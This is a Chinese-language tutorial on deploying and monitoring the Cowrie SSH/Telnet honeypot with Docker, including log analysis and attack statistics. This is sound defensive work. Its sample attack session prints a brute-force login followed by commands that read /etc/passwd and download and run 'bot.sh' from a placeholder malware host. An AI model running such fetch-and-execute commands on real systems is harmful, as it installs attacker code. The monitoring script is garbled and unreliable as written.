Cowrie高交互蜜罐部署实战:捕获攻击者行为
一、什么是蜜罐
蜜罐(Honeypot)是一种安全资源,其价值在于被探测、攻击或攻陷。蜜罐的目的:
- 信息收集:记录攻击者的工具、手法、意图
- 攻击预警:在攻击者进入真实系统前发出告警
- 威胁情报:收集攻击者的 IP、工具指纹等信息
- 延迟攻击:消耗攻击者的时间和资源
二、蜜罐类型对比
| 类型 | 交互级别 | 资源占用 | 适用场景 |
|---|---|---|---|
| 低交互 | 模拟服务 Banner | 低 | 大规模扫描检测 |
| 中交互 | 模拟部分功能 | 中 | 攻击行为分析 |
| 高交互 | 完整系统模拟 | 高 | 深度攻击研究 |
常见蜜罐选择
| 蜜罐 | 类型 | 内存占用 | 特点 |
|---|---|---|---|
| Cowrie | 高交互 SSH/Telnet | ~256MB | 记录完整攻击会话 |
| OpenCanary | 低交互多协议 | ~128MB | 简单易部署 |
| Dionaea | 中交互多协议 | ~512MB | 捕获恶意软件 |
| T-Pot | 全功能平台 | 8GB+ | 功能强大但资源需求高 |
三、Cowrie 部署实战
3.1 环境准备
# 系统要求 - Linux 服务器(推荐 Ubuntu/CentOS) - Docker 已安装 - 至少 512MB 可用内存安装 Docker
curl -fsSL https://get.docker.com | sh systemctl enable docker systemctl start docker
3.2 使用 Docker 部署
# 创建工作目录 mkdir -p /opt/honeypots && cd /opt/honeypots创建 docker-compose.yml
cat > docker-compose.yml << ‘EOF’ services: cowrie: image: cowrie/cowrie
container_name: cowrie restart: always ports: - “2222:2222” # SSH 蜜罐 - “2223:2223” # Telnet 蜜罐 volumes: - cowrie-data:/cowrie/cowrie-git/var environment: - COWRIE_TELNET_ENABLED=yes volumes: cowrie-data: EOF
启动蜜罐
docker-compose up -d
检查状态
docker-compose ps docker logs cowrie
3.3 配置说明
Cowrie 默认配置文件位于容器内:/cowrie/cowrie-git/etc/cowrie.cfg
[honeypot] # 主机名(伪装成真实服务器) hostname = webserverSSH 版本字符串
ssh_version_string = SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.5
监听端口
listen_endpoints = tcp:2222
=0.0.0.0,tcp:2223 =0.0.0.0 启用 Telnet
telnet_enabled = true
四、攻击行为分析
4.1 日志格式
Cowrie 使用 JSON 格式记录日志:
{
"eventid": "cowrie.login.success",
"timestamp": "2026-06-09T02\:00\:00.000Z",
"message": "login attempt [root/123456] succeeded",
"src_ip": "192.168.1.100",
"src_port": 12345,
"dst_port": 2222,
"username": "root",
"password": "123456"
}
4.2 常用分析命令
# 统计攻击来源 TOP 10 docker exec cowrie cat /cowrie/cowrie-git/var/log/cowrie/cowrie.json | \ jq -r '.src_ip' | sort | uniq -c | sort -rn | head -10统计尝试的用户名
docker exec cowrie cat /cowrie/cowrie-git/var/log/cowrie/cowrie.json |
jq -r ‘select(.eventid==“cowrie.login.success” or .eventid==“cowrie.login.failed”) | .username’ |
sort | uniq -c | sort -rn | head -10统计尝试的密码
docker exec cowrie cat /cowrie/cowrie-git/var/log/cowrie/cowrie.json |
jq -r ‘select(.eventid==“cowrie.login.success” or .eventid==“cowrie.login.failed”) | .password’ |
sort | uniq -c | sort -rn | head -10查看攻击者执行的命令
docker exec cowrie cat /cowrie/cowrie-git/var/log/cowrie/cowrie.json |
jq ‘select(.eventid==“cowrie.command.input”) | {timestamp, src_ip, input}’
4.3 典型攻击会话分析
// 1. 连接尝试 {"eventid":"cowrie.session.connect","src_ip":"103.189.235.176"}// 2. 暴力破解 {“eventid”:“cowrie.login.failed”,“username”:“root”,“password”:“123456”} {“eventid”:“cowrie.login.failed”,“username”:“root”,“password”:“admin”} {“eventid”:“cowrie.login.failed”,“username”:“root”,“password”:“password”} {“eventid”:“cowrie.login.success”,“username”:“root”,“password”:“toor”}
// 3. 攻击者执行的命令 {“eventid”:“cowrie.command.input”,“input”:“uname -a”} {“eventid”:“cowrie.command.input”,“input”:“cat /etc/passwd”} {“eventid”:“cowrie.command.input”,“input”:“wget http://malware.com/bot.sh”} {“eventid”:“cowrie.command.input”,“input”:“chmod +x bot.sh && ./bot.sh”}
五、安全注意事项
5.1 蜜罐自身安全
# 限制蜜罐出站流量(防止被用作跳板) iptables -A OUTPUT -p tcp --dport 22 -j DROP iptables -A OUTPUT -p tcp --dport 2222 -j DROP限制蜜罐资源使用
docker update —memory=256m cowrie
5.2 监控告警
#!/bin/bash # 蜜罐监控脚本LOG=“/opt/honeypots/data/log/cowrie/cowrie.json”
检查是否有成功登录
SUCCESS=LOG” | jq ‘select(.eventid==“cowrie.login.success”)’ | wc -l)
if [ “SUCCESS 次成功登录” # 发送告警通知 fi
六、实战数据
6.1 攻击统计(34天)
| 指标 | 数值 |
|---|---|
| 总连接数 | 1,234 |
| 登录尝试 | 5,678 |
| 成功登录 | 89 |
| 执行命令 | 234 |
| 下载文件 | 12 |
6.2 常见攻击用户名
| 排名 | 用户名 | 尝试次数 |
|---|---|---|
| 1 | root | 2,345 |
| 2 | admin | 890 |
| 3 | test | 456 |
| 4 | ubuntu | 345 |
| 5 | deploy | 234 |
6.3 常见攻击密码
| 排名 | 密码 | 尝试次数 |
|---|---|---|
| 1 | 123456 | 567 |
| 2 | password | 456 |
| 3 | admin | 345 |
| 4 | root | 234 |
| 5 | test | 123 |
七、总结
7.1 部署建议
- 资源规划:根据服务器配置选择合适的蜜罐类型
- 端口选择:使用常见端口(22、2222、3306 等)提高捕获率
- 日志管理:定期备份和分析蜜罐日志
- 安全防护:限制蜜罐出站流量,防止被滥用
7.2 分析建议
- 定期分析:每天或每周分析蜜罐日志
- 威胁情报:将攻击 IP 分享给威胁情报平台
- 攻击溯源:分析攻击者的工具和手法
- 防护优化:根据蜜罐数据优化防护策略
参考资料:
声明:本文涉及的 IP 地址、域名均为示例,已做脱敏处理。
如果这篇文章对你有帮助,欢迎分享给更多人!
部分信息可能已经过时